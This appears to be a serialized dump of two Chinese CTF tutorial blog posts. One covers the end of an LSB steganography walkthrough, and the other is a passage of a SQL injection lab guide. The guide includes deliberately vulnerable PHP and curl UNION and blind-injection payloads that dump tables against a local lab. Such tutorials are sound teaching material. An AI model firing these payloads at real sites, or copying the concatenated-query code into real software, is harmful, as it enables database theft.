data)\n",[29,4779,4780],{"class":31,"line":683},[29,4781,4782],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[29,4784,4785],{"class":31,"line":689},[29,4786,4787],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[29,4789,4790],{"class":31,"line":695},[29,4791,4792],{},"pixels = list(img.getdata())\n",[29,4794,4795],{"class":31,"line":2596},[29,4796,4797],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[29,4799,4800],{"class":31,"line":2602},[29,4801,42],{"emptyLinePlaceholder":41},[29,4803,4804],{"class":31,"line":2608},[29,4805,4806],{},"new_pixels = []\n",[29,4808,4809],{"class":31,"line":2614},[29,4810,4811],{},"i = 0\n",[29,4813,4814],{"class":31,"line":4050},[29,4815,4816],{},"for r, g, b in pixels:\n",[29,4818,4819],{"class":31,"line":4056},[29,4820,4821],{},"    if i \u003C len(bits):\n",[29,4823,4824],{"class":31,"line":4062},[29,4825,4826],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[29,4828,4829],{"class":31,"line":4068},[29,4830,4831],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[29,4833,4834],{"class":31,"line":4074},[29,4835,4836],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[29,4838,4840],{"class":31,"line":4839},25,[29,4841,4821],{},[29,4843,4845],{"class":31,"line":4844},26,[29,4846,4847],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[29,4849,4851],{"class":31,"line":4850},27,[29,4852,4853],{},"        # 绿色通道同样处理。\n",[29,4855,4857],{"class":31,"line":4856},28,[29,4858,4821],{},[29,4860,4862],{"class":31,"line":4861},29,[29,4863,4864],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[29,4866,4868],{"class":31,"line":4867},30,[29,4869,4870],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[29,4872,4874],{"class":31,"line":4873},31,[29,4875,4876],{},"    new_pixels.append((r, g, b))\n",[29,4878,4880],{"class":31,"line":4879},32,[29,4881,4882],{},"    # 修改后的像素放入新列表。\n",[29,4884,4886],{"class":31,"line":4885},33,[29,4887,42],{"emptyLinePlaceholder":41},[29,4889,4891],{"class":31,"line":4890},34,[29,4892,4893],{},"img.putdata(new_pixels)\n",[29,4895,4897],{"class":31,"line":4896},35,[29,4898,4899],{},"# putdata()：把新像素列表写回图片对象。\n",[29,4901,4903],{"class":31,"line":4902},36,[29,4904,4905],{},"img.save('hidden.png')\n",[29,4907,4909],{"class":31,"line":4908},37,[29,4910,4911],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[29,4913,4915],{"class":31,"line":4914},38,[29,4916,4917],{},"print(\"已生成 hidden.png\")\n",[15,4919,4920,4923,4924,4927,4928,4931],{},[26,4921,4922],{},"r & 0xfe"," 把最低位清零（",[26,4925,4926],{},"0xfe = 11111110","），",[26,4929,4930],{},"| bit"," 写入目标比特。",[235,4933,4935],{"id":4934},"_53-提取解题视角","5.3 提取（解题视角）",[15,4937,4938,4940],{},[216,4939,218],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4942,4943,4945],{},[216,4944,224],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[19,4947,4949],{"className":21,"code":4948,"language":23,"meta":24,"style":24},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[26,4950,4951,4955,4959,4964,4969,4974,4979,4984,4989,4994,4999,5003,5008,5013,5018,5023,5028,5033,5038,5043,5048,5053,5057,5062,5066,5071],{"__ignoreMap":24},[29,4952,4953],{"class":31,"line":32},[29,4954,4724],{},[29,4956,4957],{"class":31,"line":38},[29,4958,42],{"emptyLinePlaceholder":41},[29,4960,4961],{"class":31,"line":45},[29,4962,4963],{},"img = Image.open('hidden.png').convert('RGB')\n",[29,4965,4966],{"class":31,"line":51},[29,4967,4968],{},"# Image.open(path)：打开图片文件。\n",[29,4970,4971],{"class":31,"line":56},[29,4972,4973],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[29,4975,4976],{"class":31,"line":62},[29,4977,4978],{},"bits = []\n",[29,4980,4981],{"class":31,"line":68},[29,4982,4983],{},"for r, g, b in img.getdata():\n",[29,4985,4986],{"class":31,"line":74},[29,4987,4988],{},"    bits += [r & 1, g & 1, b & 1]\n",[29,4990,4991],{"class":31,"line":179},[29,4992,4993],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[29,4995,4996],{"class":31,"line":185},[29,4997,4998],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[29,5000,5001],{"class":31,"line":190},[29,5002,42],{"emptyLinePlaceholder":41},[29,5004,5005],{"class":31,"line":677},[29,5006,5007],{},"data = bytearray()\n",[29,5009,5010],{"class":31,"line":683},[29,5011,5012],{},"for i in range(0, len(bits) - 7, 8):\n",[29,5014,5015],{"class":31,"line":689},[29,5016,5017],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[29,5019,5020],{"class":31,"line":695},[29,5021,5022],{},"    byte = 0\n",[29,5024,5025],{"class":31,"line":2596},[29,5026,5027],{},"    for bit in bits[i:i+8]:\n",[29,5029,5030],{"class":31,"line":2602},[29,5031,5032],{},"        byte = (byte \u003C\u003C 1) | bit\n",[29,5034,5035],{"class":31,"line":2608},[29,5036,5037],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[29,5039,5040],{"class":31,"line":2614},[29,5041,5042],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[29,5044,5045],{"class":31,"line":4050},[29,5046,5047],{},"    if byte == 0:\n",[29,5049,5050],{"class":31,"line":4056},[29,5051,5052],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[29,5054,5055],{"class":31,"line":4062},[29,5056,698],{},[29,5058,5059],{"class":31,"line":4068},[29,5060,5061],{},"    data.append(byte)\n",[29,5063,5064],{"class":31,"line":4074},[29,5065,42],{"emptyLinePlaceholder":41},[29,5067,5068],{"class":31,"line":4839},[29,5069,5070],{},"print(data.decode())\n",[29,5072,5073],{"class":31,"line":4844},[29,5074,5075],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,5077,3503],{},[19,5079,5082],{"className":5080,"code":5081,"language":477,"meta":24},[475],"flag{lsb_steganography}\n",[26,5083,5081],{"__ignoreMap":24},[235,5085,5087],{"id":5086},"_54-现成工具","5.4 现成工具",[19,5089,5091],{"className":113,"code":5090,"language":115,"meta":24,"style":24},"gem install zsteg\nzsteg -a hidden.png\n",[26,5092,5093,5103],{"__ignoreMap":24},[29,5094,5095,5098,5100],{"class":31,"line":32},[29,5096,5097],{"class":122},"gem",[29,5099,127],{"class":126},[29,5101,5102],{"class":126}," zsteg\n",[29,5104,5105,5108,5111],{"class":31,"line":38},[29,5106,5107],{"class":122},"zsteg",[29,5109,5110],{"class":815}," -a",[29,5112,4483],{"class":126},[15,5114,5115,5118],{},[26,5116,5117],{},"-a"," 全自动检测各种 LSB 变体。",[10,5120,783],{"id":782},[342,5122,5123,5134],{},[345,5124,5125],{},[348,5126,5127,5129,5131],{},[351,5128,2139],{},[351,5130,2142],{},[351,5132,5133],{},"命令",[361,5135,5136,5148,5161,5177],{},[348,5137,5138,5140,5143],{},[366,5139,1280],{},[366,5141,5142],{},"看类型、看编码、看无后缀文件",[366,5144,5145],{},[26,5146,5147],{},"file flag",[348,5149,5150,5153,5156],{},[366,5151,5152],{},"xxd / hexdump",[366,5154,5155],{},"查看文件头、指定长度",[366,5157,5158],{},[26,5159,5160],{},"xxd -l 16 flag.png",[348,5162,5163,5165,5168],{},[366,5164,1323],{},[366,5166,5167],{},"提取字符串、指定长度、管道过滤",[366,5169,5170,435,5173,435,5175],{},[26,5171,5172],{},"strings flag.png",[26,5174,2174],{},[26,5176,2177],{},[348,5178,5179,5181,5184],{},[366,5180,4632],{},[366,5182,5183],{},"扫描、提取",[366,5185,5186,435,5189],{},[26,5187,5188],{},"binwalk flag.png",[26,5190,5191],{},"binwalk -e flag.png",[10,5193,5195],{"id":5194},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,5197,978,5198,458],{},[26,5199,5200],{},"flag.png",[15,5202,5203],{},"第一步：",[19,5205,5207],{"className":113,"code":5206,"language":115,"meta":24,"style":24},"file flag.png\n",[26,5208,5209],{"__ignoreMap":24},[29,5210,5211,5213],{"class":31,"line":32},[29,5212,1280],{"class":122},[29,5214,4635],{"class":126},[15,5216,1410,5217,458],{},[26,5218,5219],{},"PNG image data",[15,5221,5222],{},"第二步：",[19,5224,5225],{"className":113,"code":4594,"language":115,"meta":24,"style":24},[26,5226,5227],{"__ignoreMap":24},[29,5228,5229,5231,5233,5235,5237,5239],{"class":31,"line":32},[29,5230,1323],{"class":122},[29,5232,4511],{"class":126},[29,5234,1511],{"class":277},[29,5236,1514],{"class":122},[29,5238,4609],{"class":815},[29,5240,4612],{"class":126},[15,5242,5243],{},"无输出。",[15,5245,5246],{},"第三步：",[19,5248,5249],{"className":113,"code":4625,"language":115,"meta":24,"style":24},[26,5250,5251],{"__ignoreMap":24},[29,5252,5253,5255],{"class":31,"line":32},[29,5254,4632],{"class":122},[29,5256,4635],{"class":126},[15,5258,5259],{},"无隐藏文件。",[15,5261,5262],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[19,5264,5266],{"className":5265,"code":5081,"language":477,"meta":24},[475],[26,5267,5081],{"__ignoreMap":24},[10,5269,1097],{"id":1096},[15,5271,5272,5273,5275,5276,1110,5278,5280],{},"Misc 入门三板斧：",[26,5274,1280],{}," 看类型、",[26,5277,1323],{},[26,5279,4632],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1116,5282,5283],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":5285},[5286,5287,5288,5289,5290,5291,5292,5293],{"id":4344,"depth":45,"text":4345},{"id":1211,"depth":45,"text":1212},{"id":4456,"depth":45,"text":4457},{"id":4618,"depth":45,"text":4619},{"id":4688,"depth":45,"text":4689},{"id":782,"depth":45,"text":783},{"id":5194,"depth":45,"text":5195},{"id":1096,"depth":45,"text":1097},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1132,"image":5296,"alt":5297,"tags":5298,"published":41},"/blogs-img/blog4.png","CTF Misc 入门",[1136,5299],"misc","/blogs/ctf-misc-overview",{"title":4339,"description":5294},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":5305,"title":5306,"body":5307,"description":6690,"extension":1130,"meta":6691,"navigation":41,"ogImage":6692,"path":6696,"seo":6697,"stem":6698,"__hash__":6699},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":5308,"toc":6679},[5309,5313,5316,5333,5343,5354,5361,5365,5369,5400,5406,5410,5413,5448,5453,5501,5507,5513,5517,5525,5530,5534,5539,5555,5557,5563,5567,5572,5588,5591,5597,5604,5608,5624,5630,5634,5650,5653,5667,5671,5676,5681,5688,5692,5700,5749,5752,5756,5764,5780,5786,5790,5806,5810,5814,5830,5835,5839,5855,5859,5874,5878,5894,5899,5905,5909,5914,5917,5921,5937,5942,5958,5963,5966,5975,6112,6115,6121,6125,6132,6148,6151,6155,6160,6164,6169,6190,6192,6198,6202,6222,6227,6231,6263,6270,6274,6318,6327,6334,6338,6343,6349,6519,6521,6533,6535,6541,6544,6665,6669,6676],[10,5310,5312],{"id":5311},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,5314,5315],{},"普通程序员的查询代码：",[19,5317,5321],{"className":5318,"code":5319,"language":5320,"meta":24,"style":24},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[26,5322,5323,5328],{"__ignoreMap":24},[29,5324,5325],{"class":31,"line":32},[29,5326,5327],{},"$id = $_GET['id'];\n",[29,5329,5330],{"class":31,"line":38},[29,5331,5332],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5334,5335,5338,5339,5342],{},[26,5336,5337],{},"$id"," 被直接拼进 SQL 字符串。当 ",[26,5340,5341],{},"id=1 OR 1=1"," 时：",[19,5344,5348],{"className":5345,"code":5346,"language":5347,"meta":24,"style":24},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[26,5349,5350],{"__ignoreMap":24},[29,5351,5352],{"class":31,"line":32},[29,5353,5346],{},[15,5355,5356,5357,5360],{},"恒真，返回全表。",[216,5358,5359],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5362,5364],{"id":5363},"二环境搭建二选一","二、环境搭建（二选一）",[235,5366,5368],{"id":5367},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[19,5370,5372],{"className":113,"code":5371,"language":115,"meta":24,"style":24},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[26,5373,5374,5383,5390],{"__ignoreMap":24},[29,5375,5376,5378,5380],{"class":31,"line":32},[29,5377,906],{"class":122},[29,5379,909],{"class":126},[29,5381,5382],{"class":126}," https://github.com/Audi-1/sqli-labs.git\n",[29,5384,5385,5387],{"class":31,"line":38},[29,5386,918],{"class":917},[29,5388,5389],{"class":126}," sqli-labs\n",[29,5391,5392,5394,5397],{"class":31,"line":45},[29,5393,5320],{"class":122},[29,5395,5396],{"class":815}," -S",[29,5398,5399],{"class":126}," 127.0.0.1:8000\n",[15,5401,5402,5403,458],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[26,5404,5405],{},"Less-1",[235,5407,5409],{"id":5408},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5411,5412],{},"数据库：",[19,5414,5416],{"className":5345,"code":5415,"language":5347,"meta":24,"style":24},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[26,5417,5418,5423,5428,5433,5438,5443],{"__ignoreMap":24},[29,5419,5420],{"class":31,"line":32},[29,5421,5422],{},"CREATE DATABASE ctf;\n",[29,5424,5425],{"class":31,"line":38},[29,5426,5427],{},"USE ctf;\n",[29,5429,5430],{"class":31,"line":45},[29,5431,5432],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[29,5434,5435],{"class":31,"line":51},[29,5436,5437],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[29,5439,5440],{"class":31,"line":56},[29,5441,5442],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[29,5444,5445],{"class":31,"line":62},[29,5446,5447],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5449,5450,137],{},[26,5451,5452],{},"vuln.php",[19,5454,5456],{"className":5318,"code":5455,"language":5320,"meta":24,"style":24},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[26,5457,5458,5463,5468,5472,5477,5482,5487,5492,5496],{"__ignoreMap":24},[29,5459,5460],{"class":31,"line":32},[29,5461,5462],{},"\u003C?php\n",[29,5464,5465],{"class":31,"line":38},[29,5466,5467],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[29,5469,5470],{"class":31,"line":45},[29,5471,5327],{},[29,5473,5474],{"class":31,"line":51},[29,5475,5476],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[29,5478,5479],{"class":31,"line":56},[29,5480,5481],{},"$result = $conn->query($sql);\n",[29,5483,5484],{"class":31,"line":62},[29,5485,5486],{},"while ($row = $result->fetch_assoc()) {\n",[29,5488,5489],{"class":31,"line":68},[29,5490,5491],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[29,5493,5494],{"class":31,"line":74},[29,5495,2551],{},[29,5497,5498],{"class":31,"line":179},[29,5499,5500],{},"?>\n",[15,5502,5503,5504,458],{},"启动：",[26,5505,5506],{},"php -S 127.0.0.1:8000",[5508,5509,5510],"blockquote",{},[15,5511,5512],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5514,5516],{"id":5515},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5518,5519,5521,5522,5524],{},[216,5520,218],{},"：确认参数 ",[26,5523,449],{}," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5526,5527,5529],{},[216,5528,224],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[235,5531,5533],{"id":5532},"请求-1正常请求","请求 1：正常请求",[15,5535,5536,5538],{},[216,5537,218],{},"：记录正常响应的样子，作为后续对比的基线。",[19,5540,5542],{"className":113,"code":5541,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[26,5543,5544],{"__ignoreMap":24},[29,5545,5546,5548,5550,5553],{"class":31,"line":32},[29,5547,248],{"class":122},[29,5549,252],{"class":251},[29,5551,5552],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1",[29,5554,258],{"class":251},[15,5556,261],{},[19,5558,5561],{"className":5559,"code":5560,"language":477,"meta":24},[475],"1 hello world\n",[26,5562,5560],{"__ignoreMap":24},[235,5564,5566],{"id":5565},"请求-2单引号","请求 2：单引号",[15,5568,5569,5571],{},[216,5570,218],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[19,5573,5575],{"className":113,"code":5574,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[26,5576,5577],{"__ignoreMap":24},[29,5578,5579,5581,5583,5586],{"class":31,"line":32},[29,5580,248],{"class":122},[29,5582,252],{"class":251},[29,5584,5585],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1'",[29,5587,258],{"class":251},[15,5589,5590],{},"预期输出（报错）：",[19,5592,5595],{"className":5593,"code":5594,"language":477,"meta":24},[475],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[26,5596,5594],{"__ignoreMap":24},[15,5598,5599,5600,5603],{},"原因：语句变成 ",[26,5601,5602],{},"WHERE id = 1'","，单引号未闭合。",[235,5605,5607],{"id":5606},"请求-3and-11","请求 3：AND 1=1",[19,5609,5611],{"className":113,"code":5610,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[26,5612,5613],{"__ignoreMap":24},[29,5614,5615,5617,5619,5622],{"class":31,"line":32},[29,5616,248],{"class":122},[29,5618,252],{"class":251},[29,5620,5621],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[29,5623,258],{"class":251},[15,5625,261,5626,5629],{},[26,5627,5628],{},"1 hello world","（条件真）。",[235,5631,5633],{"id":5632},"请求-4and-12","请求 4：AND 1=2",[19,5635,5637],{"className":113,"code":5636,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[26,5638,5639],{"__ignoreMap":24},[29,5640,5641,5643,5645,5648],{"class":31,"line":32},[29,5642,248],{"class":122},[29,5644,252],{"class":251},[29,5646,5647],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[29,5649,258],{"class":251},[15,5651,5652],{},"预期输出：空（条件假）。",[15,5654,5655,5658,5659,5662,5663,5666],{},[216,5656,5657],{},"判定","：单引号报错 + ",[26,5660,5661],{},"1=1"," 正常 + ",[26,5664,5665],{},"1=2"," 为空 → 注入点确认。",[10,5668,5670],{"id":5669},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5672,5673,5675],{},[216,5674,218],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5677,5678,5680],{},[216,5679,224],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5682,5683,5684,5687],{},"前提：第一个查询返回空（用 ",[26,5685,5686],{},"id=-1","），UNION 两个查询列数相同。",[235,5689,5691],{"id":5690},"第-1-步确定列数","第 1 步：确定列数",[15,5693,5694,137,5696,5699],{},[216,5695,224],{},[26,5697,5698],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[19,5701,5703],{"className":113,"code":5702,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[26,5704,5705,5716,5727,5738],{"__ignoreMap":24},[29,5706,5707,5709,5711,5714],{"class":31,"line":32},[29,5708,248],{"class":122},[29,5710,252],{"class":251},[29,5712,5713],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[29,5715,258],{"class":251},[29,5717,5718,5720,5722,5725],{"class":31,"line":38},[29,5719,248],{"class":122},[29,5721,252],{"class":251},[29,5723,5724],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[29,5726,258],{"class":251},[29,5728,5729,5731,5733,5736],{"class":31,"line":45},[29,5730,248],{"class":122},[29,5732,252],{"class":251},[29,5734,5735],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[29,5737,258],{"class":251},[29,5739,5740,5742,5744,5747],{"class":31,"line":51},[29,5741,248],{"class":122},[29,5743,252],{"class":251},[29,5745,5746],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[29,5748,258],{"class":251},[15,5750,5751],{},"前三条正常，第四条报错 → 共 3 列。",[235,5753,5755],{"id":5754},"第-2-步确认回显位","第 2 步：确认回显位",[15,5757,5758,137,5760,5763],{},[216,5759,224],{},[26,5761,5762],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[19,5765,5767],{"className":113,"code":5766,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[26,5768,5769],{"__ignoreMap":24},[29,5770,5771,5773,5775,5778],{"class":31,"line":32},[29,5772,248],{"class":122},[29,5774,252],{"class":251},[29,5776,5777],{"class":126},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[29,5779,258],{"class":251},[15,5781,261,5782,5785],{},[26,5783,5784],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[235,5787,5789],{"id":5788},"第-3-步查数据库名","第 3 步：查数据库名",[19,5791,5793],{"className":113,"code":5792,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[26,5794,5795],{"__ignoreMap":24},[29,5796,5797,5799,5801,5804],{"class":31,"line":32},[29,5798,248],{"class":122},[29,5800,252],{"class":251},[29,5802,5803],{"class":126},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[29,5805,258],{"class":251},[15,5807,261,5808,458],{},[26,5809,1136],{},[235,5811,5813],{"id":5812},"第-4-步查表名","第 4 步：查表名",[19,5815,5817],{"className":113,"code":5816,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[26,5818,5819],{"__ignoreMap":24},[29,5820,5821,5823,5825,5828],{"class":31,"line":32},[29,5822,248],{"class":122},[29,5824,252],{"class":251},[29,5826,5827],{"class":126},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[29,5829,258],{"class":251},[15,5831,261,5832,458],{},[26,5833,5834],{},"articles,flag,users",[235,5836,5838],{"id":5837},"第-5-步查列名","第 5 步：查列名",[19,5840,5842],{"className":113,"code":5841,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[26,5843,5844],{"__ignoreMap":24},[29,5845,5846,5848,5850,5853],{"class":31,"line":32},[29,5847,248],{"class":122},[29,5849,252],{"class":251},[29,5851,5852],{"class":126},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[29,5854,258],{"class":251},[15,5856,261,5857,458],{},[26,5858,3377],{},[15,5860,5861,5864,5865,5867,5868,5870,5871,5873],{},[216,5862,5863],{},"说明","：如果第 4 步看到多个表，比如 ",[26,5866,5834],{},"，优先怀疑 ",[26,5869,3377],{}," 表；列名可能不是 ",[26,5872,3377],{},"，需要本步用 information_schema.columns 确认。",[235,5875,5877],{"id":5876},"第-6-步拿数据","第 6 步：拿数据",[19,5879,5881],{"className":113,"code":5880,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[26,5882,5883],{"__ignoreMap":24},[29,5884,5885,5887,5889,5892],{"class":31,"line":32},[29,5886,248],{"class":122},[29,5888,252],{"class":251},[29,5890,5891],{"class":126},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[29,5893,258],{"class":251},[15,5895,261,5896,458],{},[26,5897,5898],{},"flag{sql_injection}",[15,5900,5901,5904],{},[216,5902,5903],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5906,5908],{"id":5907},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5910,5911,5913],{},[216,5912,218],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5915,5916],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[235,5918,5920],{"id":5919},"_51-布尔盲注","5.1 布尔盲注",[19,5922,5924],{"className":113,"code":5923,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[26,5925,5926],{"__ignoreMap":24},[29,5927,5928,5930,5932,5935],{"class":31,"line":32},[29,5929,248],{"class":122},[29,5931,252],{"class":251},[29,5933,5934],{"class":126},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[29,5936,258],{"class":251},[15,5938,5939,5940,458],{},"正常 → 库名第一个字符是 ",[26,5941,1912],{},[19,5943,5945],{"className":113,"code":5944,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT 